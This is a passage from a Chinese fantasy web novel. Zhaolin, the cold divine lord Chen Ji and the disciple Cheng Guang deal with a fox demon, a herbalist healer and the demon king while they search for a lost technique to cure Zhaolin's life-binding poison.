谌己,不管他了,他自己还不知道在哪里快活呢!
“好啊!”
男子握住她的手,眼里柔光荡漾,带着她慢慢动作,共同陷入这短暂的乐趣当中。
只是朝临慢慢觉得,自己有点不受控制了,她很困、很晕,几乎要倒进男子的怀里,而她知道这样并不合适,咬着牙扶上房梁。
“小姐,你醉了,我扶你去休息吧。”
男子轻浅的嗓音落在她耳边,她缩了缩脖子——这是她警惕时的一贯动作。
“不用,我站会就好。”
“你好不了了,这个酒,并不是你能喝的,走吧——”
男子的声音骤然阴冷,朝临知道他想将她拉动,而她拼尽了全力挣脱开来,朝着与他相反的方向跨步而动,而双脚一软,使得她跌进了一个熟悉的怀抱。
准确来说,是有熟悉气息的怀抱。
“想做什么?”
谌己的声音。
朝临动了动头,气若游丝:“帝君?我,我好像喝醉了……”又吸了吸鼻子,继续呓语:“帝君,你好香哦。”
让她彻底睡去后,谌己压住火气,不耐道:“晚点再收拾你。”
“你是谁?”男子打量着这个凭空出现的人,他身上所透出的气息深不可测,随意惹不得。
而那人却不说话,只盯着他看了不久,他却没来由得双腿一软,竟当众跪了下来。
“原来是只狐妖。”谌己冷哼,狐妖扫视四周,众人像没看见他的处境一般,这让他惧怕起来,“我没想怎么样,就想吸她两口精气。”
“做个交易吧。”
狐妖道:“什么交易?”
“我要你的内丹一用。”
“那你还是把我杀了吧。”
话音刚落,狐妖就觉丹田处一阵烫意,接着内丹不受控制地飞出体外,落入那个口气狂妄的人手中。
“你!”
“这由不得你。”谌己将妖丹收入囊中,“只是用一用,用完我自会还给你。”
“还给我!”
狐妖被虚弱打倒,奋力朝谌己消失的方向嘶吼,这会所有人能看见他了,但无一不把他当疯子看。
…
朝临在第二日清晨醒来,入眼,是红到发黑的房梁,她撑着身子坐起来,打量一圈后,脑海中回忆起昨夜的事,骤然心慌。
而心慌的源头,此时如预料到一般,竟敲响了房门。
“开门。”
毫无情绪起伏的声音,听得她一身冷汗。
“哦,帝君,我醒了。”朝临翻身下床,一路小跑,“我这就来开门了。”
门开,谌己并未进门,冷冽的眼神落在她眉眼间,道出的话也极为难听:“原来你没有死。”
“帝君,我错了。”朝临越发小声,“我不应
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该喝酒,我……”
“行了。”谌己将手中的东西丢给朝临,“吃完后来找我,你只有半柱香的时间。”
朝临三两下将包子都吃了,擦净嘴巴后理好发丝,这才推门出去,她并不知晓谌己住哪间屋子,但能感知到他所在的方位,于是干脆地敲动隔壁间的房门。
“进来。”谌己道。
朝临推门,嘴角堆起灿烂的笑,“帝君早啊。”
“……”谌己理都不理她。
而站在他身旁的人,一见着朝临就难掩住兴奋,忙唤她:“朝临!”
“承光!你怎么在这?”
朝临将门合上,看了眼谌己,见他没什么反应,便跑近承光。
承光挠头,道:“我来捉妖。“
“那你要去妖界吗?”
“我……”
“说够了吗?”谌己将茶杯往桌上一放。
二人面面相觑,不再说话了。
“你去那里打坐。”他对朝临道。
朝临走到他指定的空地,望着漆黑的地面,想到人界正逢冬日,地上很凉,试探着问:“帝君,只能在这吗?”
谌己眉眼一挑,“你想去哪?”
“就在这就在这。”
谌己见她不再言语,凭空变出一颗红色妖丹,看向承光:“把它分了,我来护法。”
承光面露难色,谌己蹙眉,“你不会?”
“我会。”承光指向朝临,“只是帝君,朝临她无心无脉,怕是承受不住这妖气。”
“无碍,她是半死不活之躯,妖气无法影响她。”
谌己道。
听得朝临越发难受,承光朝她投来同情的眼神,默不作声地在她眼前打坐,安慰道:“你会没事的。”
朝临点头,看向一贯冷漠的谌己,而他也正好瞧向她,四目相对间,朝临的丹田处被他注入一股气息,她身上所有的疲乏自此消失不见,来自地面的凉意也不再有。
妖气分化是个漫长的过程,当承光收回禁制,朝临感知自己的丹田,在她原本的白色气息之外,一圈红色妖气正幽幽环绕。
“承光,妖界危机四伏,你一人无法招架。”谌己道,“随我们一同前去。”
“好。”
“至于你——”朝临总觉得,谌己看向她时的眼神总是无耐的,就好似,嫌她麻烦,但又无法对她置之不理的矛盾感,“你见机行事,如若被妖抓走了,我便不会再管。”
朝临:“哦,我知道了帝君,我保证不给你添麻烦。”
“收拾收拾,即刻启程。”
……
若木城与妖界只隔着三川四河,并不算远,谌己不知从哪寻来三匹马,三人一路向西飞奔。
人、妖二界相交处,有一片茂密的紫竹林,竹叶在黄昏天光的簇拥下,透出的绿意被金色晕染。
穿过竹林,可见界碑,目测有二十丈有余,立在一座满是黑石的山前。
此处磁场与人界全然不同,阴冷与杀戮之息浓重。
谌己围着黑石山绕走一圈,回来时正色道:“今日妖门已关,待明日丑时门开再去。”
承光道:“帝君,我们丹田内皆有妖气护体,此时硬闯应当无碍,若是丑时妖门大开,恐会被认出。”
承光看了看朝临,朝临会意,忙道:“是呀帝君,届时妖怪一多,我怕我们会暴露。”
谌己一摆衣袖,蓝色气息便穿袖而出,形成一道悬幕,停在一块黑石前。
“一炷香之内,若是能打开,我便随你们进去。”
一炷香后,二人身心俱疲,谌己一早从朝临的香囊中拿出茶盏,也不嫌弃地在矮石上煮起茶来。
“这界碑连着整座山,山又与妖王印相连,你们莫不是觉得自己能与整个妖族抗衡?”谌己泼来冷水,“当然,想要硬闯也不是不行,只是会惊动那妖王,届时她会把你们都吃了。”
承光低了头,“帝君,弟子愚昧,还请责罚。”
朝临道:“帝君,朝临错了。”
谌己将茶具收了,对二人道:“去找个人。”
朝临问:“找谁啊?”
“一个机缘。”
5. 血赚
神神叨叨的。
谌己带着两人往竹林深处走,冬日天黑得快,竹林尽头已然变得昏暗,朝临往手心吐了热气,道:“这儿好冷。”
承光道:“此处妖气浓重,加之常年没有日光照射,已然成为一块死地,朝临,你多注意。”
谌己不顾二人对话,兀自往前走,停在一处山坡上,回头:“过来。”
朝临抱好自己,一口气冲上去,承光紧随而来,看清山坡下的光景后,虚扶了她一把。
谌己手一摆,坡下聚集着的黑气骤然散开,而那黑气之下,隐约躺着个人。
朝临惊呼:“帝君,那儿好像有个人!”
谌己道:“你去救她上来。”
“我?”朝临怀疑自己听错了,“帝君,我修为不够,怕是还没救上她——”
“啊!”
谌己毫不怜花惜玉地将朝临推了下去,好在这个坡不到三丈高,底下又是泥土地,她才没受伤。
“一炷香,将她救上来。”
谌己离开得很干脆,承光打了个手势,也跟着走了。
朝临顶难受,她自认为自己并不十分惹人烦,但谌己总是这般对她,若不是得靠他续命,她非得离开他。
想是这么想,既然下来了,人还是要救的。
朝临走近那人,施出谌己前些日子教她的点灯决,亮光驱散了四下的黑暗。
眼下昏迷过去的是个人族女子,身穿麻布素衣,脸埋在土灰里,确认她还有生息后,朝临帮她把脸擦净,轻轻呼唤。
女子并不醒来,只能将她送上去。
朝临在心中呼唤谌己,那人明明听见了却不回话,气得她往地上跺了一脚。
四周也没有其他上去的路,山崖竦峙,往那些地方走肯定得摔成肉泥。
方才谌己驱散的黑气又在头顶聚集,朝临已然看不清坡上的场景,她试着用连心术与这些黑气对话,三次后,终于传来回音:
“你是谁?”
朝临回道:“黑气大哥,我们无意掉进您的地盘,只是我朋友危在旦夕,还请您送我们上坡。”
“你谁啊,我还送你上去?一个三无小喽啰还要求起我了?滚滚滚,有多远滚多远!”
黑气凶巴巴的。
朝临急了:“大哥,求求你高抬贵手,只要我能出去,你要我做什么都可以!”
这招显然有用,黑气慢慢在她眼前聚拢,一张模糊不清的人脸在其中显现,“你是个什么玩意?我怎么看不透你?”
朝临咽了咽口水,道:“我原身是一朵云,今日确是受困在此,无意打扰大哥清修。”
“原来如此。我可以帮你,但你得答应我一件事。”黑气道。
“成交!”
“你也别高兴太早,我被妖气侵染,真气早已衰弱,无法控制自己。”黑气翻滚着,语气很平静,“你来施御术,我助你们上去。”
“御术?”朝临犯了难,这些天她一直在学术法,大部分术法她看一遍就会了,但这个御术,还未曾学到……
“你不会啊?”黑气鄙夷道。
“我会的。”朝临掐出某个基础决法,在心中喊谌己,“帝君帝君,御术它怎么……”
有些时候,谌己并不极端冷漠,比如说现在,朝临脑海中出现一道口诀,她运息轻念,当即就能控制黑气了。
“大哥,麻烦了。”她将女子抱上浮在脚边的黑气上,自己再坐上去,黑气上浮,二人上了坡。
“好了,现在该你兑现承诺了。”黑气道,“我本体是这山间的雾气,这几年被溢出的妖气所污染,变成了浑浊的黑气,方才与你一同来的那二人中,有一人道行极深,你把他叫来给我净气。”
“……”那可是谌己啊,谁敢这么命令他?
朝临讪笑:“大哥我也很厉害,你告诉我法子,我来帮你。”
黑气冷哼:“你连个这么矮的坡都上不去,还会那么高阶的术法?你是不是唬我呢?不行,我要给你再送下去!”
“哎,别,我会……”
谌己的气息从四面八方席来,黑气随之停下不动,疑惑出声:“高人,一个净息术而已,用,用不着这么大动干戈……”
黑气慢慢变成雾白色,谌己收敛气息,不知什么时候出现在朝临身后。
“这黑石山为何会有妖气溢出?”
黑气道:“不瞒你说,妖族近些年一直有动荡,战乱不断,皇室内斗也是常有的事,偌大的妖界被他们整得乌烟瘴气,自然没人来管边界的安危,其实不只是我,整座黑石山,加这紫竹林,都已经被妖气浸染……”
谌己闭眼探了探,道:“妖王可还在?”
“我不清楚,她有一百年没来人界,其他三界未必没去。”
谌己往左处走去,朝临问黑气:“大哥,你认识这个女子吗?”
“认识啊,此女名叫江残月,就住紫竹林外,每隔三日便要进竹林一次,好像是来采药。”
“那她怎么掉下去的?”
“失足。”黑气打了个哈欠,“困了,我要先走了,小云朵,今日多亏了你,往后如需相助,直接用连心术。”
……
承光一直未曾出现,谌己也踏进了竹林,朝临蹲下来给江残月注了些真气,不晓得是不是错觉,她总觉得有什么东西在她身后吹冷风。
吓得她忙下了个禁制,大喊:“帝君!”
“帝君!”
谌己的声音从脑海中传来:“闭嘴。”
朝临放心了,继续拍了拍江残月,许是那股真气见了效,她猛地咳出声,而后大口呼吸,好似经历了一场窒息。
江残月缓缓睁开眼。
“你醒啦。”朝临扶起江残月,“你住哪,我先送你回去。”
“不用。”江残月挣脱开朝临,慢慢坐起来,缓了好一会,“你走吧,我自己回去。”
朝临怕她误会,忙道:“你刚刚掉下山坡了,是我救你上来的,我不是坏人。”
“我当然知道你不是坏人。”江残月轻咳,眼皮无力地耷拉着,“这紫竹林不是你能来的地方,你当务之急是先离开这儿。”
朝临明了她的意思,可她本就是为她来的,哪有半途而废的道理。
“江残月,我就是为你来的。”
江残月倏地变了脸色,警惕地望向她,“你是谁?”
“天黑了,先将人带出去。”
谌己从竹林里出来,吩咐道。
朝临不想回答这个问题,未等她同意,一把将人搀扶起来,“放心,我不会害你,还请带路。”
江残月带着他们出了紫竹林,再沿着一条小径走出一里地,抵达一处宅院。
她将门推开,道:“客人请自便,我去取些柴火。”
江残月很快消失在了夜色下,朝临四下看了看,问谌己:“帝君,承光呢?”
谌己道:“捉妖去了。”
“原来如此。”朝临朝谌己靠近了些,“帝君,我怎么感觉江残月有些古怪呢?她恢复地太快了,应不是普通人族。”
“嗯,她是药修。”
朝临:“药修是什么?”
“人族中有修道者,而修道者又分修仙与药修,修仙者有望成仙,而药修若能得道,则可自由通行五界,治病救人。”谌己罕见地,耐心回答道。
“那我们找她做什么呀?”
“你问题很多。”
好吧,夸不得。
“客人,请随我来。”江残月拾来柴火,缓步推开柴房的门,轻轻将柴火放下,“今日有劳二位,不介意的话,可先去前厅喝些茶水,我去做两个菜,晚些一同吃饭。”
朝临道:“可以啊,有劳江姑娘。”
“这边请。”江残月打开火折子,火光跳上她浅素的脸颊,她伸手将二人往前引,“二位稍等。”
她掏出钥匙开了锁,推开门,一股浓烈的草药味便灌入朝临的鼻腔,不多时,屋子里的蜡烛便都燃着了,朴素的陈设尽入眼底。
江残月给二人泡好茶水,一人倒上一杯,香气四溢,“这是我夏天采的草木茶叶,有驱寒之效,二位可以试试。”
朝临抿上一小口,偷偷观察谌己,他倒是一点都不客气。
“好茶。”他道。
江残月低眉浅笑,“客人喜欢就好,我去准备些吃食,烦请等我一会。”
在朝临看来,江残月是个顶神秘的人,来去无声,好像做什么都很谨慎。
她望着门外黑沉的夜色,再看一眼专心品茶的谌己,道:“帝君,我们在这儿过夜吗?”
谌己点头。
“可江残月未曾邀请我们。”
“江残月?你如何得知她名字的?”
朝临:“那团黑气告诉我的。”
谌己扫她一眼,淡淡道:
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“看来这段时间还是学到了些东西。”
“……”朝临叹气,“帝君,我没有你想得那么差。”
“是吗。”
“……”虽说朝临始终对谌己心存感恩,但与他单独待在一起还是会有些不自在,她不喜干坐着,只能再度寻话题:“帝君,承光今夜会来吗?”
“……”谌己从容地往自己杯子里倒一杯茶,修长的手指随意将茶杯提起,但他并未马上喝,而是看向朝临,眼里的情绪晦暗不明,“你是想找他,还是想活命?”
“当然是活命。”朝临道,“只是承光与我们一同而来,他要是出点事,我们也不好与他双亲交代……”
谌己:“那也是我的事,你管好自己。”
“……知道了。”朝临耸肩,给自己倒了杯茶,喝上一口,才觉口味已经泛苦,于是默默放下了杯子。
她明显看见谌己蹙了下眉,大概觉得她山猪品不来细糠吧。
“昨日,你为何会与那只狐妖有牵扯?”
“咚”的一声,朝临手中的茶杯落在桌上,茶水渍炸开在整张木桌。
她慌乱地用袖子擦干水渍,不住地用咳嗽掩饰心虚,“帝君,原来他是只狐妖啊?”
谌己露出意外的表情,说出的话却直往她心上捅刀子:“你可真是个人才,被魅得差点丢了魂,竟毫无察觉。”
“……”朝临苍白解释:“帝君,我是喝了酒,我可没被他魅,在我心中,最有吸引力的人是帝君。”
谌己瞪她一眼:“不许拿我跟他相提并论。”
“哦!”见谌己不再有追究的意思,朝临问他:“帝君,我察觉体内妖丹的气息有些熟悉,该不会就是那只狐妖的吧?”
谌己默认。
“那他会不会死啊?”
“你自己都快死了,还有心思关心别人?”
“不是,就是觉得……”
“他不会死。”谌己道,“他有两颗妖丹。”
“原来如此。”朝临松了口气,“我就知道帝君不会那般。”
谌己:“那般什么?”
“……”朝临挠了挠头,“嘿嘿,没什么,我去帮江残月了。”
谌己望着朝临仓皇逃走的背影,不禁摇了摇头。
一根筋的玩意,哪天被人吃了都还觉得是自己的问题。
江残月准备了五个家常菜,又拿来一壶陈年酿酒,许是放下了芥蒂,此刻她已经不那么提防着二人了。
她问了二人名字,并不好奇二人为何知晓她的名字,又对朝临道惭愧,说她那时刚醒,有些害怕。
朝临道:“怎么会,要是我也会害怕。”
江残月道:“朝临姑娘善解人意,残月自愧不如。”
“江姑娘,你平常做些什么营生。”谌己问。
江残月望了望厅内指向性明显的物件,道:“平常替人看看病,卖卖药,日子过得勉勉强强。”
朝临道:“江姑娘,那你能帮我看看吗?”
江残月道:“把手给我。”
朝临兴冲冲地将手给江残月,殊不知气氛早已变了。
江残月一言不发地将手放在朝临左手脉搏上,谌己似乎不怎么尊重这位医者,不合时宜地问:“江姑娘看什么病要用水生花?”
朝临脉搏处一阵隐痛,江残月脸色微变,闭了眼,再睁眼后,对上谌己的视线,道:“朝临姑娘没有脉搏,也没有心,亦没有根,应当才化形不久。”
“不愧是药修。”谌己挑明,“江残月,你还差一道雷劫即可得道,此时应去那瑶君山做些准备,待在这里,对你百害而无一利。”
“公子,并不是每个人都想得道,我现在这般,挺好的。”身份被揭露,江残月也没了方才的逆来顺受,“朝临体内有个同命蛊,我若是没猜错的话,她仅剩十月的寿命。”
谌己并不遮掩:“说对了。”
“我能帮她再续一年,不过你得答应我一件事。”
朝临知道谌己最厌恶这种要挟,怕他一气之下伤了江残月,忙出来打圆场:“不用了江姑娘,十个月……”
令她意外的是,谌己一把按住了她的手。
“好。”
江残月:“你不问我是什么条件吗?”
“无所谓。”谌己道,“我去门外为你们护法。”
饭虽未吃完,但朝临幸运地得到了一年寿命,可以说是血赚!
6. 救不了
朝临想跟谌己分享喜悦,可那人直向江残月而去,而江残月一见他,竟吐出一大口血。
“江姑娘!”朝临忙将她扶好坐下,她摆摆手,“无碍。”
谌己道:“江残月,说说你的要求。”
“我虽然不知道你是谁,但你的能力是通天的。”江残月抬眼,用手抹了把嘴角,“给我这残月阁下个禁制,我受够那些妖怪了。”
谌己几乎没有动作,而禁制已顷刻将整间残月阁包裹起来,气息转瞬即逝,禁制悄然隐藏。
江残月笑了笑:“谢谢。”
“我还有一个问题。”
江残月嘴角抽了一抽,好半天才回:“你问。”
“方才你已经看出朝临体内有股妖气,为何不问?”
“我为何要问?”江残月道,“换句话说,这与我毫无关系。”
“可你身上也有那股妖气。”谌己犀利道,“你认识那只狐妖。”
朝临道:“江姑娘,那只妖可会魅惑人心了,你可千万不要被他骗了。”
江残月把朝临握住的手抽出来,冷冷道:“萍水相逢罢了,我跟他不熟,再说,我就住这妖界边,身上有些妖气难道不应该吗?”
“他叫什么名字?”
“……”
谌己并未由此恼火,看了眼朝临,“医者不自医,她体内有好几种毒,你帮帮她。”
朝临心想谌己也太信任她了,她有些迷茫,眨巴了下眼睛:“用解毒术?”
谌己:“嗯,切记量力而行,我在这里等你。”
朝临将江残月扶回卧房,用解毒术帮她排出了四种毒,另外还剩下一种极为顽固的毒,已经深入骨髓。
“对不起啊,这个毒,我好像无能为力。”
江残月认命似的靠在塌上,唇上随即有了几分血色,她挺喜欢眼前这个姑娘,但她始终不曾表达出的目的,让江残月没有安全感。
“谢谢你啊,救了我两次。”
“不客气,虽然萍水相逢,但你于我的恩情是巨大的。”朝临道。
“那不算什么。”江残月并不为这一年寿命赶到骄傲,因为她知道,这并不出自于她一人之手,那个叫谌己的人,在她差点遭反噬时,暗自帮了她一把,“你们要找的那只狐妖来自九尾狐一脉,名字我不知道,只知道他偶尔在这附近出现。”
朝临道:“好,那……”
“别的我不会再回答你了。”
“那好吧,你好好休息。”朝临道,忽而想到什么,“我们可以在这儿借宿一夜吗,明日丑时就走。”
“可以。”江残月扔了把钥匙给她,“两间侧屋,你们自己挑。”
“嗯。”
“对了,这个送给你。”
江残月指屋子西南角摆放着的匕首,“我拿着这个没用。”
“这怎么……”朝临仔细端详这把并无新意的匕首,当她将刀刃拉出,刀柄上忽然闪过一点红,她定眼一看,那儿竟有一颗红色珠子,“真的送给我吗?”
江残月点头:“就当是我们萍水相逢的礼物。”
“谢谢你!”朝临收下匕首,一把抱住江残月,“那我先出去了,有事叫我。”
“去吧。”
…
二人在前厅对付了一晚上。朝临还在梦里讲笑话,谌己刚被她逗笑,下一瞬他板着的脸便出现在她眼前。
已经确认,这个才是真的。
“走了。”
朝临收拾了一番,跟上谌己,出了屋子,冷风直往她皮肤里钻,她下意识往他贴近,“帝君,好冷啊。”
要是放在之前,谌己一定会嫌弃地与她拉开距离,今日他一反常态,关心起她来:“你别告诉我,你那么多行李里一件能御寒的衣裳都没有。”
朝临打了个喷嚏,摇头。
她被拥进温暖的长袄下,独属于谌己的气息将她包裹,她的脸贴近他的胸口,“帝君,现在不冷了。”
承光早早在界碑处等待,看着朝临从谌己怀里钻出来,愣了一愣。
“帝君,妖门就要开了。”
“你们退后。”谌己道,“听我指令。”
二人后退,承光悄摸着问朝临:“你是不是没有带够衣裳。”
“嗯,我不知道人界正逢冬天,带的都是神侍们的薄长裙。”
承光道:“等出来后,我带你去买件长袍。”
“嗯!”
谌己不断施法,界碑缓缓没入地面,黑石山上一块巨石敞开,露出一个像随时会吞人的黑洞。
“跟上来。”
洞中妖风阵阵,吹得朝临看不清四周路况,每往前一步,她都要分辨方向,生怕走错了。
而在这片混沌当中,一只温热的手攥住她的手腕,领着她往前走,很多步之后,他们终于正式踏入妖界。
谌己松了手。
朝临偷偷望着他高挑的背影,之前有的怨气都烟消云散了。
承光走来,问道:“还好吗?”
“挺好的。”朝临抬眼,满目的房屋瓦舍都落在氤氲的淡紫色气息下,“你呢?”
承光道:“我也挺好的。”
“为什么帝君不走啊?”朝临见谌己杵在前头一动不动,不禁发出疑问。
“许是在等什么人。”
承光话音刚落,便有一行人迎面而来,为首的是一个身穿紫袍的女子。
“帝君大驾光临,有何贵干?”
她目光锐利,手持一把大铡刀,停在距离谌己一丈远的地方。
“好久不见了,妖王殿下。”
“帝君就不要抬举我了,孟鸾已到薄暮之年,受不起你的大礼。”
谌己勾唇,“何出此言,只要妖王印还在,你就是妖界的统领。”
孟鸾抱手,道:“帝君,是哪阵风把你吹来了?”她的目光越过谌己,停在跟在他身后的两人身上。
“与他们二人无关。”谌己道,“我知道你们妖界正值新旧交替之时,此时来打扰确为冒犯,只是事出有急,不得不犯,还请殿下通融。”
孟鸾笑道:“帝君既然知晓我们妖界形势,却还是来了,想来并未把我放在眼里。”
“孟鸾,我们来寻样东西,无心参与妖王之争。”
“是吗,我还以为帝君是听到了什么风声,有意来访呢。”
谌己道:“妖界近年来的形势算不得秘密,而神妖两界早在千年前就共签互助条约,我就算想介入,也情有可原吧。”
孟鸾眼中已然堆了些怒火,“那帝君,你——真的要插手吗?”
“我没兴趣。”
“有帝君这句话,我就放心了。”孟鸾后退一步,“来人,把妖牌献给帝君。”
随即,有妖将妖牌奉上。
“帝君,有了此物,可在我妖界畅行无阻。”孟鸾道,“我还有些事,就先走了,祝你早日得到所寻之物。”
谌己道:“还以为殿下特意来此处拦我,现在看来,是我小人之心夺君子之腹了。”
孟鸾道:“帝君可不是忘了,我们妖界对您,一向是没有禁忌的。”
谌己笑笑:“殿下既有事,我便不多叨扰了。”
孟鸾一行人风风火火地从妖门出去了。
朝临终于可以问:“帝君,我昨日听那黑气说,妖王已经百年未曾出过妖门,此番出去,会不会是遇见什么困难了。”
谌
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己淡淡地瞧了她一眼。
承光咳了两声,解释道:“朝临,妖界有两扇门,我们来的这扇门通往人界,另扇门通往鬼、神二界,说不定妖王此前是从另外两界绕路去的人界,你不用担心。”
“哦……”
朝临跟上谌己,问:“帝君,你和这位妖王殿下认识很久了吗?”
谌己:“问这个做什么?”
“……好奇。”
“忘记了。”
承光问:“帝君,我们接下来去哪?”
谌己找了一处山清水秀的好地方,只一间木屋,工整地修了三间房。
谌己不知道干什么去了,承光抢着收拾屋子,朝临想与他一同,承光始终不肯:“朝临,你坐着休息吧,我来干。”
朝临只得坐在擦得干干净净的椅子上,与他一来一去地聊天。
聊到那黑山老道,朝临问承光那老道是什么身份。
承光拧干帕子,一面擦床榻,一面道:“那老道原是修仙者,得地仙之力飞升成仙,后接了那位地仙的衣钵,百年后,取了人界女子为妻,为给妻子续命,与魔族勾结肆用禁术,众仙发现后,碎他仙骨,驱回凡界。”
“变为凡人后,他便更放肆了,惹得一方民众苦不堪言,老道修了很多邪术,专克众仙,众仙无耐,求助天帝,天帝便派了帝君下凡逮捕老道。”
“逮捕?可那老道后来死了,帝君他……”
朝临想到那日,那个丑陋的癞蛤蟆就那么直挺倒地,再无声息。
莫不是因为涉及到她的安危,谌己才不得已将他杀掉的?
“你在想什么呢。”承光笑道,“帝君留了他的一魂,现在还在仙牢里关着呢。”
“原来不是啊。”是她自作多情了,谌己怎么可能会这么没有大局观。
“不是什么?”
“没……我前段时间听你唤帝君‘师尊’,你与帝君是什么关系?”
承光憨然一笑:“帝君是我师傅勿舆上神的师傅,我平常不敢轻易叫他师尊,那日确实是有些失态了。”
“为何不敢叫?”
“因为我修为尚浅。”承光眼里露出落寞,“我想成为如帝君一般的神,可这其间的距离,实在是太远了。”
朝临前几日问过承光的年纪,得知他只比她大了五百年,而他年纪轻轻能入谌己门下,绝不是平庸之辈。
“你还年轻啊,帝君都看了多少年山河变换了,慢慢追,总有那么一天的。”
“也对,那我好好努力!”
谌己在在晌午时赶回,与他一同回来的,还有一条大蟒蛇。
那大蟒蛇口吐人言:“你干什么,惹妖清修是要遭雷劈的。”
“两千年了,你怎么还没化出人形。”
谌己还是一如既往。
“……”大蟒语塞,“关你什么事!”
“今日找你来问些事。”谌己示意朝临靠近些,又让大蟒仔细瞧,那大蟒沉吟片刻,道:“救不了。”
闻言,朝临心一沉:“不至于吧,我还有两年寿命呢。”
大蟒道:“谁说你的寿命了,我是说那同命蛊,幸好谌己及时止损,毁了他的两魂七魄,才不至于让他把你精气全给吸走了,你说说你,同命蛊那么复杂的东西,怎么就让他给种下了……”
“除忌。”谌己打断他的喋喋不休,“说重点。”
除忌见朝临眼眶红红的,闭了嘴,顺着谌己:“现下毁了那老道的一魂也无济于事,蛊毒已经深入她的骨髓,只能为她找到心根脉,驱动内力,将蛊毒逼出去。”
谌己问道:“脉,该如何寻?”
除忌后知后觉:“合着你在这诈我呢?”
7. 造脉
除忌不说话了,蜷成一圈,给三人甩脸子。
承光不知道从何处抓来两只鼠妖,好声好气道:“蟒爷,小小心意,莫要动了气。”
除忌顺着台阶下来,“还是你会做人,别学他们,忘本!”
“气消了就过来。”谌己在桌前发话。
除忌吃得很香,嘴一张一合,大老鼠很轻易地就进了蟒肚。
“我说了我不知……”
“你知道的,我一贯没什么耐心。”
除忌:“九尾狐一脉,他们的造脉法可以说炉火纯青,可惜这个术法已经失传了。”
果然任何生物都受不了绝对碾压的威胁。
谌己想了想,道:“失传?”
“那造脉法一直被青丘山众妖看成禁术,失传也是意料之内。”除忌停在朝临脚边,强调道:“想活命,就赶紧去找,该说的我都已经说了,别再烦我。”
除忌走后,谌己给屋子下好禁制,很快便不见了踪影。
是夜。
朝临冷得受不了,朦胧间抬头一看,原是窗户未关,她蹑手蹑脚来到窗边,刚碰上窗沿,毫无准备地被那突然冒出来的鬼脸吓了一跳。
“啊!”
那个露出诡异笑容的猫头鹰脸,正定定地站在窗外,夜色映衬下,显得极为可怖。
朝临往后一摔,慌乱中摸到腰间的匕首,“你干什么?!”
猫头鹰不说话,竟从窗外直飞进来,落在她眼前,个头还挺大。
猫头鹰怪与朝临对战几轮,谁也不输,朝临意识到它无意与她敌对,再问:“你到底要干什么?”
“把匕首还给我。”猫头鹰嘴巴动了动。
“不给。”朝临攥紧匕首,“大半夜跑过来吓我,看我不把你毛都拔了!”
“你拿我东西还有理了!”
猫头鹰怒了,一不做二不休,直接上嘴来抢,朝临躲开它,大喊一声:“你跟江残月什么关系!”
“干你何事,把匕首还给我!”
“你再不现身,我真拔你猫头鹰的毛了!”
朝临真的急了,这个猫头鹰脸实在是太吓人了,再耗下去她真的会忍不住手刃它。
“我进不来,你出来找我。”
猫头鹰停下来,僵硬地往屋子外飞去,它在带路。
朝临问:“你对承光做了什么?”
“放心吧,他就是中了点特制迷烟,死不了。”
朝临往屋外走,谌己的禁制闪了闪,似在警告。猫头鹰悬停在夜色中,身下有个黑影,朝临掐了个点灯诀,黑影的五官逐渐清晰,他笑了笑:“好久不见啊。”
“……”朝临大骂:“你个臭狐妖!”
“你个小偷!”莫问脸色一沉,“倒是擅长反咬一口。”
“这是你差点杀了我的补偿。”朝临叉腰,“说说你叫什么名字?”
“小爷行不更名坐不改姓——莫问!”
“好一个离谱的名字。”
莫问直翻白眼,“你少废话,先回答我的问题,是不是才打残月阁回来?”
“没错,我是去过残月阁,她还将匕首送给了我,但我不会给你。”
“你!”莫问被气得咬牙切齿,“等你出来我定将你碎尸万段!”
“那我就不出来了。”朝临故意气他,“等我同伴回来,让他办了你!”
莫问想起那个说一不二的人,后背起了一身凉汗。
“无耻。”
“你还不快……”
“朝临,拖住他。”
谌己的声音从远方传来。
“……你来干什么?”朝临忙改口。
莫问瞪她一眼:“我当然来取我的匕首。”又毫无征兆地一屁股坐下,“我今夜还就守在这儿了,等那人回来让他好好评评理,抢了我的妖丹,还要拿我匕首,还有没有天理了!”
“……”朝临一时语塞,抽出匕首给他看,“这是江残月自己给我的,你想要回去得自己去跟她说。”
“不必如此麻烦,你踏出这个禁制,它自然就来寻我了。”莫问盯着朝临的眼睛,“你快出来。”
这厮又在下魅术了。
好在朝临早有准备,并未被控制。莫问似乎也没想让她受控,悠悠然拿出一块饼出来吃。
“你同伙怎么还没回来?我有意拖这么长时间,他竟还不露面。”
“你……”怎么知道。
莫问用看傻子一样的眼神白了朝临一眼,“是他邀请我来的,怎么,现在闭门不见,逗猴呢。”
“……”
空气凝固一瞬,谌己即刻出现在莫问身后。
“请吧。”
朝临见莫问抖了抖,接着起身进了禁制。
朝临:“你这不是能进来。”
“废话,主人不请我如何进来?”
“……你这么凶做什么?”
“不想跟你这个小偷一般见识。”莫问咬着牙,一边还要偷看谌己脸色,“妖丹何时还给我?”
“时机到了自会还给你。”
谌己回头来,又道:“今夜请你来,是想向你打听一些事。”
“没想到你还会有如此客气的时候。”莫问阴阳怪气道。
谌己示意他坐下,为他斟茶,客气道:“我一向事事分明。”
“……”莫问轻扣桌面,抿唇,“你要问什么?”
“造脉术。”
莫问摇头:“我不知道,这是禁术,早已失传。”
“可我怎么听说,你师傅灵昶先前帮你分化妖丹之时,用的就是造脉术。”
“那又如何,我师傅他老人家死了一百年了,难不成要我去地府问他?”
“妖丹是你偷学禁术分化而来,可怜了灵昶,为保住你的性命,竟选择以命抵命……”
“你!”莫问面露狰狞,“真卑鄙。”
“说吧,造脉要什么条件。”
“给谁造脉?“莫问扫了眼朝临,“她啊?”
朝临冲他点头,笑道:“你若是帮我造好脉,我就把匕首还给你。”
“强买强卖,没有王法了。”莫问嘀咕着,但也是真的恐惧谌己,九尾狐在脑子里盘算一番,面露无耐道:“那你们可要失望了,那造脉术,需要妖王印加持,可我现下,还是一个连青丘都回不了的……”
“我帮你。”谌己打断他,“你想要妖王的位置,我帮你。”
莫问道:“我可没说。”
“就当我热心肠吧。”谌己道,“三日后,妖王之争第一日,赛场不见不散。”
“你说话算话?”
“算话。”
莫问带着他的猫头鹰走了,朝临问谌己,这莫问是什么来头。
谌己道:“他是青丘山最小的公子,从小修道天赋异禀,只是仰众之祸后,不知为何,心思被世俗夺了去,从此一蹶不振,沦为废材。”
仰众之祸?
“帝君,他多大年纪啊?”
“约莫千岁。”
“竟才千岁?”
朝临想起他的作风,细想一下,倒也合理,但也是千岁的妖了,竟比她还无理取闹。
“你在想什么?”谌己问。
“没。”朝临回神,“帝君,既如此,他该如何抢到这妖王之位?”
“妖王之位给谁都好,我们只需取得妖王印。”
“嗯。”
…
三日后。
